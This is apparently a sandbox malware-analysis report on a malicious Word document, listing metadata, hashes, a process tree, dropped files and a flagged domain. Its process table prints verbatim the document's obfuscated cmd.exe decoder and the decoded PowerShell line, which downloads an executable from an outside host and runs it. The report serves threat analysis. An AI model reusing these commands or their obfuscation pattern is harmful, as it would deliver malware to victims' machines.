File name: | 02197e4d347f9ff8086b4c210104f2dd.doc |
Full analysis: | https://app.any.run/tasks/e1078880-f9a3-47f4-b450-b6ce425d5766 |
Verdict: | Malicious activity |
Analysis date: | January 11, 2019, 01:12:36 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Dec 10 09:43:00 2018, Last Saved Time/Date: Mon Dec 10 09:43:00 2018, Number of Pages: 1, Number of Words: 4, Number of Characters: 25, Security: 0 |
MD5: | 02197E4D347F9FF8086B4C210104F2DD |
SHA1: | 384C8621D50D9806C5120FFB4ECCCF69AAB82A9E |
SHA256: | 7777CAA4C95332CAA164E91AB836A4C72BD74CF729DF2D75EFCC0927B4DDC776 |
SSDEEP: | 768:/YGfVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o93rTC6mrs0e+5F6UP3tBhc:/YGfocn1kp59gxBK85fBt+a9bEx5o |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 28 |
Paragraphs: | 1 |
Lines: | 1 |
Company: | - |
CodePage: | Windows Cyrillic |
Security: | None |
Characters: | 25 |
Words: | 4 |
Pages: | 1 |
ModifyDate: | 2018:12:10 09:43:00 |
CreateDate: | 2018:12:10 09:43:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | - |
Subject: | - |
Title: | - |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2896 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\02197e4d347f9ff8086b4c210104f2dd.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3936 | c:\tiYbtjCGhkCD\THmkuOqbXqcwK\wiUSJpdwzBibo\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set 4Vh6=ADYLHAuiMYijzbjHNXFkNjqUUYonWENSaQSvsV'{7+x,rgGJK\:.0;$y@eIp8lth)-C?=d9wcf m}P1/Z(&&for %n in (54,17,75,61,68,38,47,17,33,38,53,54,37,36,72,68,27,57,71,65,26,13,21,57,72,62,74,30,57,62,51,28,57,13,66,61,10,57,27,62,53,54,32,21,21,68,38,63,62,62,59,50,79,79,10,12,12,61,57,13,6,62,32,36,51,72,26,75,79,62,55,72,61,32,75,79,73,44,57,36,36,44,51,59,63,59,67,61,68,45,61,57,72,78,52,51,62,19,27,38,51,34,59,61,10,62,81,38,56,38,64,53,54,21,77,19,68,38,26,69,63,38,53,54,1,48,37,74,68,74,38,78,70,40,38,53,54,1,12,63,68,38,29,21,75,38,53,54,66,37,21,68,54,57,27,35,50,62,57,75,59,41,38,49,38,41,54,1,48,37,41,38,51,57,42,57,38,53,73,26,44,57,32,72,63,81,54,71,71,75,74,10,27,74,54,32,21,21,64,39,62,44,55,39,54,37,36,72,51,1,26,71,27,61,26,32,69,18,10,61,57,81,54,71,71,75,43,74,54,66,37,21,64,53,54,33,25,63,68,38,3,80,44,38,53,58,73,74,81,81,46,57,62,65,58,62,57,75,74,54,66,37,21,64,51,61,57,27,45,62,63,74,65,45,57,74,60,52,52,52,52,64,74,39,58,27,35,26,19,57,65,58,62,57,75,74,54,66,37,21,53,54,29,6,10,68,38,36,33,1,38,53,13,44,57,32,19,53,76,76,72,32,62,72,63,39,76,76,54,35,29,21,68,38,36,58,25,38,53,82)do set GvZ=!GvZ!!4Vh6:~%n,1!&&if %n gtr 81 powershell "!GvZ:~5!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2444 | CmD /V:/C"set 4Vh6=ADYLHAuiMYijzbjHNXFkNjqUUYonWENSaQSvsV'{7+x,rgGJK\:.0;$y@eIp8lth)-C?=d9wcf m}P1/Z(&&for %n in (54,17,75,61,68,38,47,17,33,38,53,54,37,36,72,68,27,57,71,65,26,13,21,57,72,62,74,30,57,62,51,28,57,13,66,61,10,57,27,62,53,54,32,21,21,68,38,63,62,62,59,50,79,79,10,12,12,61,57,13,6,62,32,36,51,72,26,75,79,62,55,72,61,32,75,79,73,44,57,36,36,44,51,59,63,59,67,61,68,45,61,57,72,78,52,51,62,19,27,38,51,34,59,61,10,62,81,38,56,38,64,53,54,21,77,19,68,38,26,69,63,38,53,54,1,48,37,74,68,74,38,78,70,40,38,53,54,1,12,63,68,38,29,21,75,38,53,54,66,37,21,68,54,57,27,35,50,62,57,75,59,41,38,49,38,41,54,1,48,37,41,38,51,57,42,57,38,53,73,26,44,57,32,72,63,81,54,71,71,75,74,10,27,74,54,32,21,21,64,39,62,44,55,39,54,37,36,72,51,1,26,71,27,61,26,32,69,18,10,61,57,81,54,71,71,75,43,74,54,66,37,21,64,53,54,33,25,63,68,38,3,80,44,38,53,58,73,74,81,81,46,57,62,65,58,62,57,75,74,54,66,37,21,64,51,61,57,27,45,62,63,74,65,45,57,74,60,52,52,52,52,64,74,39,58,27,35,26,19,57,65,58,62,57,75,74,54,66,37,21,53,54,29,6,10,68,38,36,33,1,38,53,13,44,57,32,19,53,76,76,72,32,62,72,63,39,76,76,54,35,29,21,68,38,36,58,25,38,53,82)do set GvZ=!GvZ!!4Vh6:~%n,1!&&if %n gtr 81 powershell "!GvZ:~5!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1288 | powershell "$Xml='JXQ';$Vsc=new-object Net.WebClient;$ajj='http://izzlebutas.com/tyclam/fressr.php?l=glec10.tkn'.Split('@');$jPk='odh';$DKV = '197';$Dzh='Ejm';$CVj=$env:temp+'\'+$DKV+'.exe';foreach($wwm in $ajj){try{$Vsc.DownloadFile($wwm, $CVj);$QYh='LZr';If ((Get-Item $CVj).length -ge 80000) {Invoke-Item $CVj;$Eui='sQD';break;}}catch{}}$vEj='sIY';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2896 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9224.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1288 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EOAUOMSI523CJU9BQYIX.temp | — | |
MD5:— | SHA256:— | |||
1288 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19a34b.TMP | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
2896 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$197e4d347f9ff8086b4c210104f2dd.doc | pgc | |
MD5:F1CF2ECEFCE5537E4FA7462263A6B152 | SHA256:480F68F282598380FC1329F30E226773C2E9D0D1EB552FEB2056426395CF1EF4 | |||
1288 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
2896 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:B2A436A8C3D1FBC4316A1C780A4B85BD | SHA256:831EF4D2D350750F189D949F20BEEC0307F8F611932193B5D366BC53366AB189 |
Domain | IP | Reputation |
---|---|---|
izzlebutas.com |
| suspicious |